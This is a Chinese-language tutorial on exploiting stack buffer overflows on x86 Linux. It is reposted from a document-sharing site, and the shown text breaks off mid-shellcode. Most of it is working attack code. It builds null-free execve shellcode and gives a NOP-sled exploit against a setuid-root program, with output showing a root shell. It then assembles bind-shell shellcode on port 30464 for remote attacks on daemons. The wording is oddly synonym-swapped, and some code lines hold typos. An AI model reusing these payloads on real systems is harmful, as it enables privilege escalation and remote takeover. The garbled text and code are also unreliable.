




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
堆栈溢出技术从入门到精通本讲的预备知识:一方面你应当了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分派方面的基础知识,有关这方面的计算机书籍很多,我将只是简朴阐述原理,着重在应用。另一方面,你应当了解linux,本讲中我们的例子将在linux上开发。1:一方面复习一下基础知识。从物理上讲,堆栈是就是一段连续分派的内存空间。在一个程序中,会声明各种变量。静态全局变量是位于数据段并且在程序开始运营的时候被加载。而程序的动态的局部变量则分派在堆栈里面。从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,出栈的操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。请牢牢记住这一点,由于这是堆栈溢出的基本理论依据。在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。假如函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:先压c,再压b,最后a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取c。(PS:假如你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都会具体的讨论堆栈,必须弄懂它,你才干进行下面的学习)2:好了,继续,让我们来看一看什么是堆栈溢出。2.1:运营时的堆栈分派堆栈溢出就是不顾堆栈中分派的局部数据块大小,向该数据块写入了过多的数据,导致数据越界。结果覆盖了老的堆栈数据。比如有下面一段程序:程序一:#include<stdio.h>intmain(){charname[8];printf("Pleasetypeyourname:");gets(name);printf("Hello,%s!",name);return0;}编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运营中,堆栈是怎么操作的呢?在main函数开始运营的时候,堆栈里面将被依次放入返回地址,EBP。我们用gcc-S来获得汇编语言输出,可以看到main函数的开头部分相应如下语句:pushl%ebpmovl%esp,%ebpsubl$8,%esp一方面他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在堆栈的布局如下:内存底部内存顶部nameEBPret<------[][][]^&name栈顶部堆栈底部执行完gets(name)之后,堆栈如下:内存底部内存顶部nameEBPret<------[ipxodi\0][][]^&name栈顶部堆栈底部最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。2.2:堆栈溢出好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完gets(name)之后,堆栈如下:内存底部内存顶部nameEBPret<------[ipxodiAA][AAAA][AAAA].......^&name栈顶部堆栈底部由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写‘A’。由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的老的元素。如图我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把‘AAAA’的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处的指令,结果出现错误。这就是一次堆栈溢出。3:如何运用堆栈溢出我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串解决函数(gets,strcpy等等)没有对数组越界加以监视和限制,我们运用字符数组写越界,覆盖堆栈中的老元素的值,就可以修改返回地址。在上面的例子中,这导致CPU去访问一个不存在的指令,结果犯错。事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。假如我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令。在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢出的程序相同的权限。假如这个程序是setuid的,那么我们就可以获得rootshell。下一讲将叙述如何书写一个shellcode。------------------------------------------------------------如何书写一个shellcode一:shellcode基本算法分析在程序中,执行一个shell的程序是这样写的:shellcode.c-----------------------------------------------------------------------------#include<stdio.h>voidmain(){char*name[2];name[0]="/bin/sh"name[1]=NULL;execve(name[0],name,NULL);}------------------------------------------------------------------------------execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*)0作为第三个参数。我们来看以看execve的汇编代码:[nkl10]$Content$nbsp;gcc-oshellcode-staticshellcode.c[nkl10]$Content$nbsp;gdbshellcode(gdb)disassemble__execveDumpofassemblercodeforfunction__execve:0x80002bc<__execve>:pushl%ebp;0x80002bd<__execve+1>:movl%esp,%ebp;上面是函数头。0x80002bf<__execve+3>:pushl%ebx;保存ebx0x80002c0<__execve+4>:movl$0xb,%eax;eax=0xb,eax指明第几号系统调用。0x80002c5<__execve+9>:movl0x8(%ebp),%ebx;ebp+8是第一个参数"/bin/sh\0"0x80002c8<__execve+12>:movl0xc(%ebp),%ecx;ebp+12是第二个参数name数组的地址0x80002cb<__execve+15>:movl0x10(%ebp),%edx;ebp+16是第三个参数空指针的地址。;name[2-1]内容为NULL,用来存放返回值。0x80002ce<__execve+18>:int$0x80;执行0xb号系统调用(execve)0x80002d0<__execve+20>:movl%eax,%edx;下面是返回值的解决就没有用了。0x80002d2<__execve+22>:testl%edx,%edx0x80002d4<__execve+24>:jnl0x80002e6<__execve+42>0x80002d6<__execve+26>:negl%edx0x80002d8<__execve+28>:pushl%edx0x80002d9<__execve+29>:call0x8001a34<__normal_errno_location>0x80002de<__execve+34>:popl%edx0x80002df<__execve+35>:movl%edx,(%eax)0x80002e1<__execve+37>:movl$0xffffffff,%eax0x80002e6<__execve+42>:popl%ebx0x80002e7<__execve+43>:movl%ebp,%esp0x80002e9<__execve+45>:popl%ebp0x80002ea<__execve+46>:ret0x80002eb<__execve+47>:nopEndofassemblerdump.通过以上的分析,可以得到如下的精简指令算法:movl$execve的系统调用号,%eaxmovl"bin/sh\0"的地址,%ebxmovlname数组的地址,%ecxmovlname[n-1]的地址,%edxint$0x80;执行系统调用(execve)当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。可是,假如我们的execve执行失败,(比如没有/bin/sh这个文献),CPU就会继续执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,结束shellcode.c的执行。我们来看以看exit(0)的汇编代码:(gdb)disassemble_exitDumpofassemblercodeforfunction_exit:0x800034c<_exit>:pushl%ebp0x800034d<_exit+1>:movl%esp,%ebp0x800034f<_exit+3>:pushl%ebx0x8000350<_exit+4>:movl$0x1,%eax;1号系统调用0x8000355<_exit+9>:movl0x8(%ebp),%ebx;ebx为参数00x8000358<_exit+12>:int$0x80;引发系统调用0x800035a<_exit+14>:movl0xfffffffc(%ebp),%ebx0x800035d<_exit+17>:movl%ebp,%esp0x800035f<_exit+19>:popl%ebp0x8000360<_exit+20>:ret0x8000361<_exit+21>:nop0x8000362<_exit+22>:nop0x8000363<_exit+23>:nopEndofassemblerdump.看来exit(0)〕的汇编代码更加简朴:movl$0x1,%eax;1号系统调用movl0,%ebx;ebx为exit的参数0int$0x80;引发系统调用那么总结一下,合成的汇编代码为:movl$execve的系统调用号,%eaxmovl"bin/sh\0"的地址,%ebxmovlname数组的地址,%ecxmovlname[n-1]的地址,%edxint$0x80;执行系统调用(execve)movl$0x1,%eax;1号系统调用movl0,%ebx;ebx为exit的参数0int$0x80;执行系统调用(exit)-----------------------------------------------------------二:实现一个shellcode好,我们来实现这个算法。一方面我们必须有一个字符串“/bin/sh”,还得有一个name数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次程序都是动态加载,字符串和name数组的地址都不是固定的。通过JMP和call的结合,黑客们巧妙的解决了这个问题。------------------------------------------------------------------------------jmpcall的偏移地址#2bytespopl%esi#1byte//popl出来的是string的地址。movl%esi,array-offset(%esi)#3bytes//在string+8处构造name数组,//name[0]放string的地址movb$0x0,nullbyteoffset(%esi)#4bytes//string+7处放0作为string的结尾。movl$0x0,null-offset(%esi)#7bytes//name[1]放0。movl$0xb,%eax#5bytes//eax=0xb是execve的syscall代码。movl%esi,%ebx#2bytes//ebx=string的地址lealarray-offset,(%esi),%ecx#3bytes//ecx=name数组的开始地址lealnull-offset(%esi),%edx#3bytes//edx=name〔1]的地址int$0x80#2bytes//int0x80是syscallmovl$0x1,%eax#5bytes//eax=0x1是exit的syscall代码movl$0x0,%ebx#5bytes//ebx=0是exit的返回值int$0x80#2bytes//int0x80是syscallcallpopl的偏移地址#5bytes//这里放call,string的地址就会作//为返回地址压栈。/bin/sh字符串------------------------------------------------------------------------------一方面使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为call的返回地址压入堆栈。现在来到poplesi,把刚刚压入栈中的字符串地址取出来,就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字节,构造name数组(两个整数,八个字节)。我们可以写shellcode了。先写出汇编源程序。shellcodeasm.c------------------------------------------------------------------------------voidmain(){__asm__("jmp0x2a#3bytespopl%esi#1bytemovl%esi,0x8(%esi)#3bytesmovb$0x0,0x7(%esi)#4bytesmovl$0x0,0xc(%esi)#7bytesmovl$0xb,%eax#5bytesmovl%esi,%ebx#2bytesleal0x8(%esi),%ecx#3bytesleal0xc(%esi),%edx#3bytesint$0x80#2bytesmovl$0x1,%eax#5bytesmovl$0x0,%ebx#5bytesint$0x80#2bytescall-0x2f#5bytes.string\"/bin/sh\"#8bytes");}------------------------------------------------------------------------------编译后,用gdb的b/bx〔地址〕命令可以得到十六进制的表达。下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)test.c------------------------------------------------------------------------------charshellcode[]="\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00""\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80""\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff""\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"voidmain(){int*ret;ret=(int*)&ret+2;//ret等于main()的返回地址//(+2是由于:有pushlebp,否则加1就可以了。)(*ret)=(int)shellcode;//修改main()的返回地址为shellcode的开始地址。}------------------------------------------------------------------------------------------------------------------------------------------------------------[nkl10]$Content$nbsp;gcc-otesttest.c[nkl10]$Content$nbsp;./test$Content$nbsp;exit[nkl10]$Content$nbsp;------------------------------------------------------------------------------我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址ret设立成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,从而我们得到了一个shell。运营结果,得到了bsh的提醒符$,表白成功的开了一个shell。这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为一段代码。是由于在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而我们的代码中movl%esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码段。这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在解决字符串的时候,以"\0"为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此,对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有\0字符出现的。因此,有些指令需要修改一下:旧的指令新的指令--------------------------------------------------------movb$0x0,0x7(%esi)xorl%eax,%eaxmolv$0x0,0xc(%esi)movb%eax,0x7(%esi)movl%eax,0xc(%esi)--------------------------------------------------------movl$0xb,%eaxmovb$0xb,%al--------------------------------------------------------movl$0x1,%eaxxorl%ebx,%ebxmovl$0x0,%ebxmovl%ebx,%eaxinc%eax--------------------------------------------------------最后的shellcode为:----------------------------------------------------------------------------charshellcode[]=00"\xeb\x1f"/*jmp0x1f*/02"\x5e"/*popl%esi*/03"\x89\x76\x08"/*movl%esi,0x8(%esi)*/06"\x31\xc0"/*xorl%eax,%eax*/08"\x88\x46\x07"/*movb%eax,0x7(%esi)*/0b"\x89\x46\x0c"/*movl%eax,0xc(%esi)*/0e"\xb0\x0b"/*movb$0xb,%al*/10"\x89\xf3"/*movl%esi,%ebx*/12"\x8d\x4e\x08"/*leal0x8(%esi),%ecx*/15"\x8d\x56\x0c"/*leal0xc(%esi),%edx*/18"\xcd\x80"/*int$0x80*/1a"\x31\xdb"/*xorl%ebx,%ebx*/1c"\x89\xd8"/*movl%ebx,%eax*/1e"\x40"/*inc%eax*/1f"\xcd\x80"/*int$0x80*/21"\xe8\xdc\xff\xff\xff"/*call-0x24*/26"/bin/sh"/*.string\"/bin/sh\"*/------------------------------------------------------------------------三:运用堆栈溢出获得shell好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,我们把两者结合起来,就写出一个运用堆栈溢出获得shell的程序。overflow1.c------------------------------------------------------------------------------charshellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh"charlarge_string[128];voidmain(){charbuffer[96];inti;long*long_ptr=(long*)large_string;for(i=0;i<32;i++)*(long_ptr+i)=(int)buffer;for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);}------------------------------------------------------------------------------在执行完strcpy后,堆栈内容如下所示:内存底部内存顶部bufferEBPret<------[SSS...SSSA][A][A]A..A^&buffer栈顶部堆栈底部注:S表达shellcode。A表达shellcode的地址。这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们的shellcode。----------------------------------------------------------运用堆栈溢出获得shell现在让我们进入最刺激的一讲,运用别人的程序的堆栈溢出获得rootshell。我们将面对一个有strcpy堆栈溢出漏洞的程序,运用前面说过的方法来得到shell。回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,运用程序中的strcpy函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的开始地址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的shellcode,从而我们得到了一个shell。当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件事:1:把我们的shellcode提供应他,让他可以访问shellcode。2:修改他的返回地址为shellcode的入口地址。为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer的地址。由于当我们把shellcode提供应strcpy之后,buffer的开始地址就是shellcode的开始地址,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是相同的。我们可以写一个程序,获得运营时的堆栈起始地址,这样,我们就知道了目的程序堆栈的开始地址。下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax寄存器里面):------------------------------------------------------------------------------unsignedlongget_sp(void){__asm__("movl%esp,%eax");}------------------------------------------------------------------------------我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自己写出来的程序决定的,我们不知道,只能靠猜测了。但是,一般的程序堆栈大约是几K左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。前面我们用来覆盖堆栈的溢出字符串为:SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA现在,为了提高命中率,我们对他进行如下改善:用来溢出的字符串变为:NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA其中:N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,NOP指令的机器码为0x90。S为shellcode。A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到S.这个改善大大提高了猜测的命中率,有时几乎可以一次命中。:)))好了,枯燥的算法分析完了,下面就是运用./vulnerable1的堆栈溢出漏洞来得到shell的程序:exploit1.c----------------------------------------------------------------------------#include<stdio.h>#include<stdlib.h>#defineOFFSET0#defineRET_POSITION1024#defineRANGE20#defineNOP0x90charshellcode[]="\xeb\x1f"/*jmp0x1f*/"\x5e"/*popl%esi*/"\x89\x76\x08"/*movl%esi,0x8(%esi)*/"\x31\xc0"/*xorl%eax,%eax*/"\x88\x46\x07"/*movb%eax,0x7(%esi)*/"\x89\x46\x0c"/*movl%eax,0xc(%esi)*/"\xb0\x0b"/*movb$0xb,%al*/"\x89\xf3"/*movl%esi,%ebx*/"\x8d\x4e\x08"/*leal0x8(%esi),%ecx*/"\x8d\x56\x0c"/*leal0xc(%esi),%edx*/"\xcd\x80"/*int$0x80*/"\x31\xdb"/*xorl%ebx,%ebx*/"\x89\xd8"/*movl%ebx,%eax*/"\x40"/*inc%eax*/"\xcd\x80"/*int$0x80*/"\xe8\xdc\xff\xff\xff"/*call-0x24*/"/bin/sh"/*.string\"/bin/sh\"*/unsignedlongget_sp(void){__asm__("movl%esp,%eax");}main(intargc,char**argv){charbuff[RET_POSITION+RANGE+1],*ptr;longaddr;unsignedlongsp;intoffset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;inti;if(argc>1)offset=atoi(argv[1]);sp=get_sp();addr=sp-offset;for(i=0;i<bsize;i+=4)*((long*)&(buff[i]))=addr;for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)buff[i]=NOP;ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;for(i=0;i<strlen(shellcode);i++)*(ptr++)=shellcode[i];buff[bsize-1]="\0"//现在buff的内容为//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0printf("Jumpto0x%08x\n",addr);execl("./vulnerable1","vulnerable1",buff,0);}----------------------------------------------------------------------------execl用来执行目的程序./vulnerable1,buff是我们精心制作的溢出字符串,作为./vulnerable1的参数提供。以下是执行的结果:----------------------------------------------------------------------------[nkl10]$Content$nbsp;ls-lvulnerable1-rwsr-xr-x1rootrootxxxxjan1016:19vulnerable1*[nkl10]$Content$nbsp;ls-lexploit1-rwxr-xr-x1ipxodicinipxxxxOct1813:20exploit1*[nkl10]$Content$nbsp;./exploit1Jumpto0xbfffec64Segmentationfault[nkl10]$Content$nbsp;./exploit1500Jumpto0xbfffea70bash#whoamirootbash#----------------------------------------------------------------------------恭喜,恭喜,你获得了rootshell。下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。--------------------------------------------------------------远程堆栈溢出我们用堆栈溢出袭击守护进程daemon时,原理和前面提到过的本地袭击是相同的。我们必须提供应目的daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制(或者别的串解决操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的袭击者来说,由于我们不在本地,这个sh我们并没有得到。因此,对于远程使用者,我们传过去的shellcode就必须承担起打开一个socket,然后listen我们的连接,给我们一个远程shell的责任。如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行)作为这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进来后,开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,我们远程的使用者就有了一个远程shell(跟telnet同样啦)。下面就是这个算法的C实现:opensocket.c----------------------------------------------------------------------------1#include<unistd.h>2#include<sys/socket.h>3#include<netinet/in.h>4intsoc,cli,soc_len;5structsockaddr_inserv_addr;6structsockaddr_incli_addr;7intmain()8{9if(fork()==0)10{11serv_addr.sin_family=AF_INET;12serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);13serv_addr.sin_port=htons(30464);14soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);15bind(soc,(structsockaddr*)&serv_addr,sizeof(serv_addr));16listen(soc,1);17soc_len=sizeof(cli_addr);18cli=accept(soc,(structsockaddr*)&cli_addr,&soc_len);19dup2(cli,0);20dup2(cli,1);21dup2(cli,2);22execl("/bin/sh","sh",0);23}24}----------------------------------------------------------------------------第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的pid,对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子进程作为socket通信的执行者继续下面的操作。10到23行都是子进程所作的事情。一方面调用socket获得一个文献描述符soc,然后调用bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接。当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,标准错误输出重定向到客户的文献描述符上,开一个子sh,这样,子shell继承了这个进程的文献描述符,对于客户来说,就是得到了一个远程shell。--------------------------看懂了吗?嗯,对,这是一个比较简朴的socket程序,很好理解的。好,我们使用gdb来反编译上面的程序:[nkl10]$Content$nbsp;gcc-oopensocket-staticopensocket.c[nkl10]$Content$nbsp;gdbopensocketGNUgdb4.17Copyright1998FreeSoftwareFoundation,Inc.GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouarewelcometochangeitand/ordistributecopiesofitundercertainconditions.Type"showcopying"toseetheconditions.ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fordetails.ThisGDBwasconfiguredas"i386-redhat-linux"...(gdb)disassembleforkDumpofassemblercodeforfunctionfork:0x804ca90<fork>:movl$0x2,%eax0x804ca95<fork+5>:int$0x800x804ca97<fork+7>:cmpl$0xfffff001,%eax0x804ca9c<fork+12>:jae0x804cdc0<__syscall_error>0x804caa2<fork+18>:ret0x804caa3<fork+19>:nop0x804caa4<fork+20>:nop0x804caa5<fork+21>:nop0x804caa6<fork+22>:nop0x804caa7<fork+23>:nop0x804caa8<fork+24>:nop0x804caa9<fork+25>:nop0x804caaa<fork+26>:nop0x804caab<fork+27>:nop0x804caac<fork+28>:nop0x804caad<fork+29>:nop0x804caae<fork+30>:nop0x804caaf<fork+31>:nopEndofassemblerdump.(gdb)disassemblesocketDumpofassemblercodeforfunctionsocket:0x804cda0<socket>:movl%ebx,%edx0x804cda2<socket+2>:movl$0x66,%eax0x804cda7<socket+7>:movl$0x1,%ebx0x804cdac<socket+12>:leal0x4(%esp,1),%ecx0x804cdb0<socket+16>:int$0x800x804cdb2<socket+18>:movl%edx,%ebx0x804cdb4<socket+20>:cmpl$0xffffff83,%eax0x804cdb7<socket+23>:jae0x804cdc0<__syscall_error>0x804cdbd<socket+29>:ret0x804cdbe<socket+30>:nop0x804cdbf<socket+31>:nopEndofassemblerdump.(gdb)disassemblebindDumpofassemblercodeforfunctionbind:0x804cd60<bind>:movl%ebx,%edx0x804cd62<bind+2>:movl$0x66,%eax0x804cd67<bind+7>:movl$0x2,%ebx0x804cd6c<bind+12>:leal0x4(%esp,1),%ecx0x804cd70<bind+16>:int$0x800x804cd72<bind+18>:movl%edx,%ebx0x804cd74<bind+20>:cmpl$0xffffff83,%eax0x804cd77<bind+23>:jae0x804cdc0<__syscall_error>0x804cd7d<bind+29>:ret0x804cd7e<bind+30>:nop0x804cd7f<bind+31>:nopEndofassemblerdump.(gdb)disassemblelistenDumpofassemblercodeforfunctionlisten:0x804cd80<listen>:movl%ebx,%edx0x804cd82<listen+2>:movl$0x66,%eax0x804cd87<listen+7>:movl$0x4,%ebx0x804cd8c<listen+12>:leal0x4(%esp,1),%ecx0x804cd90<listen+16>:int$0x800x804cd92<listen+18>:movl%edx,%ebx0x804cd94<listen+20>:cmpl$0xffffff83,%eax0x804cd97<listen+23>:jae0x804cdc0<__syscall_error>0x804cd9d<listen+29>:ret0x804cd9e<listen+30>:nop0x804cd9f<listen+31>:nopEndofassemblerdump.(gdb)disassembleacceptDumpofassemblercodeforfunction__accept:0x804cd40<__accept>:movl%ebx,%edx0x804cd42<__accept+2>:movl$0x66,%eax0x804cd47<__accept+7>:movl$0x5,%ebx0x804cd4c<__accept+12>:leal0x4(%esp,1),%ecx0x804cd50<__accept+16>:int$0x800x804cd52<__accept+18>:movl%edx,%ebx0x804cd54<__accept+20>:cmpl$0xffffff83,%eax0x804cd57<__accept+23>:jae0x804cdc0<__syscall_error>0x804cd5d<__accept+29>:ret0x804cd5e<__accept+30>:nop0x804cd5f<__accept+31>:nopEndofassemblerdump.(gdb)disassembledup2Dumpofassemblercodeforfunctiondup2:0x804cbe0<dup2>:movl%ebx,%edx0x804cbe2<dup2+2>:movl0x8(%esp,1),%ecx0x804cbe6<dup2+6>:movl0x4(%esp,1),%ebx0x804cbea<dup2+10>:movl$0x3f,%eax0x804cbef<dup2+15>:int$0x800x804cbf1<dup2+17>:movl%edx,%ebx0x804cbf3<dup2+19>:cmpl$0xfffff001,%eax0x804cbf8<dup2+24>:jae0x804cdc0<__syscall_error>0x804cbfe<dup2+30>:ret0x804cbff<dup2+31>:nopEndofassemblerdump.现在可以写上面c代码的汇编语句了。fork()的汇编代码----------------------------------------------------------------------------charcode[]="\x31\xc0"/*xorl%eax,%eax*/"\xb0\x02"/*movb$0x2,%al*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------socket(2,1,6)的汇编代码注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6----------------------------------------------------------------------------/*socket使用66号系统调用,1号子调用。*//*他使用一段内存块来传递参数2,1,6。*//*%ecx里面为这个内存块的地址指针.*/charcode[]="\x31\xc0"/*xorl%eax,%eax*/"\x31\xdb"/*xorl%ebx,%ebx*/"\x89\xf1"/*movl%esi,%ecx*/"\xb0\x02"/*movb$0x2,%al*/"\x89\x06"/*movl%eax,(%esi)*//*第一个参数*//*%esi指向一段未使用的内存空间*/"\xb0\x01"/*movb$0x1,%al*/"\x89\x46\x04"/*movl%eax,0x4(%esi)*//*第二个参数*/"\xb0\x06"/*movb$0x6,%al*/"\x89\x46\x08"/*movl%eax,0x8(%esi)*//*第三个参数.*/"\xb0\x66"/*movb$0x66,%al*/"\xb3\x01"/*movb$0x1,%bl*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------bind(soc,(structsockaddr*)&serv_addr,0x10)的汇编代码----------------------------------------------------------------------------/*bind使用66号系统调用,2号子调用。*//*他使用一段内存块来传递参数。*//*%ecx里面为这个内存块的地址指针.*/charcode[]="\x89\xf1"/*movl%esi,%ecx*/"\x89\x06"/*movl%eax,(%esi)*//*%eax的内容为刚才socket调用的返回值,*//*就是soc文献描述符,作为第一个参数*/"\xb0\x02"/*movb$0x2,%al*/"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*//*serv_addr.sin_family=AF_NET(2)*//*2放在0xc(%esi).*/"\xb0\x77"/*movb$0x77,%al*/"\x66\x89\x46\x0e"/*movw%ax,0xe(%esi)*//*端标语(0x7700=30464)放在0xe(%esi)*/"\x8d\x46\x0c"/*leal0xc(%esi),%eax*//*%eax=serv_addr的地址*/"\x89\x46\x04"/*movl%eax,0x4(%esi)*//*第二个参数.*/"\x31\xc0"/*xorl%eax,%eax*/"\x89\x46\x10"/*movl%eax,0x10(%esi)*//*serv_addr.sin_addr.s_addr=0*/"\xb0\x10"/*movb$0x10,%al*/"\x89\x46\x08"/*movl%eax,0x8(%esi)*//*第三个参数.*/"\xb0\x66"/*movb$0x66,%al*/"\xb3\x02"/*movb$0x2,%bl*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------listen(soc,1)的汇编代码----------------------------------------------------------------------------/*listen使用66号系统调用,4号子调用。*//*他使用一段内存块来传递参数。*//*%ecx里面为这个内存块的地址指针.*/charcode[]="\x89\xf1"/*movl%esi,%ecx*/"\x89\x06"/*movl%eax,(%esi)*//*%eax的内容为刚才socket调用的返回值,*//*就是soc文献描述符,作为第一个参数*/"\xb0\x01"/*movb$0x1,%al*/"\x89\x46\x04"/*movl%eax,0x4(%esi)*//*第二个参数.*/"\xb0\x66"/*movb$0x66,%al*/"\xb3\x04"/*movb$0x4,%bl*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------accept(soc,0,0)的汇编代码----------------------------------------------------------------------------/*accept使用66号系统调用,5号子调用。*//*他使用一段内存块来传递参数。*//*%ecx里面为这个内存块的地址指针.*/charcode[]="\x89\xf1"/*movl%esi,%ecx*/"\x89\xf1"/*movl%eax,(%esi)*//*%eax的内容为刚才socket调用的返回值,*//*就是soc文献描述符,作为第一个参数*/"\x31\xc0"/*xorl%eax,%eax*/"\x89\x46\x04"/*movl%eax,0x4(%esi)*//*第二个参数.*/"\x89\x46\x08"/*movl%eax,0x8(%esi)*//*第三个参数.*/"\xb0\x66"/*movb$0x66,%al*/"\xb3\x05"/*movb$0x5,%bl*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------dup2(cli,0)的汇编代码----------------------------------------------------------------------------/*第一个参数为%ebx,第二个参数为%ecx*/charcode[]=/*%eax里面是刚才accept调用的返回值,*//*客户的文献描述符cli.*/"\x88\xc3"/*movb%al,%bl*/"\xb0\x3f"/*movb$0x3f,%al*/"\x31\xc9"/*xorl%ecx,%ecx*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------现在该把这些所有的细节都串起来,形成一个新的shell的时候了。newshellcode----------------------------------------------------------------------------charshellcode[]=00"\x31\xc0"/*xorl%eax,%eax*/02"\xb0\x02"/*movb$0x2,%al*/04"\xcd\x80"/*int$0x80*/06"\x85\xc0"/*testl%eax,%eax*/08"\x75\x43"/*jne0x43*//*执行fork(),当fork()!=0的时候,表白是父进程,要终止*//*因此,跳到0x43+a=0x4d,再跳到后面,执行exit(0)*/0a"\xeb\x43"/*jmp0x43*//*当fork()==0的时候,表白是子进程*//*因此,跳到0x43+0c=0x4f,再跳到后面,执行call-0xa5*/0c"\x5e"/*popl%esi*/0d"\x31\xc0"/*xorl%eax,%eax*/0f"\x31\xdb"/*xorl%ebx,%ebx*/11"\x89\xf1"/*movl%esi,%ecx*/13"\xb0\x02"/*movb$0x2,%al*/15"\x89\x06"/*movl%eax,(%esi)*/17"\xb0\x01"/*movb$0x1,%al*/19"\x89\x46\x04"/*movl%eax,0x4(%esi)*/1c"\xb0\x